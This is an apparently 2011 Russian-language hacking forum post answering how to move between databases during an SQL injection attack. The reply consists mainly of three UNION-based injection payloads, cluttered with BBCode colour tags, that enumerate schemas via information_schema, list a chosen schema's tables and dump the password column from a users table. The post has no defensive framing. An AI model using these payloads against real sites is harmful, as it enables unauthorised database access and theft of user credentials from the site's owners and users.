
08.02.2011, 19:30
|
|
Guest
Сообщений: n/a
Провел на форуме: 34733
Репутация:
83
|
|
Сообщение от Ne1c
Ne1c said:
А как можно переключать БД в Скуле например есть 4 БД, я сейчас нахожусь в 1-ой, а мне надо перейти в 3-ю.
Как это сделать ?
1) Узнаем имеющиеся БД:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]union select 1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]group_concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]schema_name[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]from information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]schemata[/COLOR][COLOR="#007700"]+--+[/COLOR][/COLOR]
2) Узнаем таблицы из определенной БД
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]select 1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]group_concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]table_name[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]from information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables where table_schema[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'test'[/COLOR][/COLOR]
3) Выводим данные из определенной БД:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]union select 1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]password from test[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]users[/COLOR][COLOR="#007700"]+--+[/COLOR][/COLOR]
|
|
|
|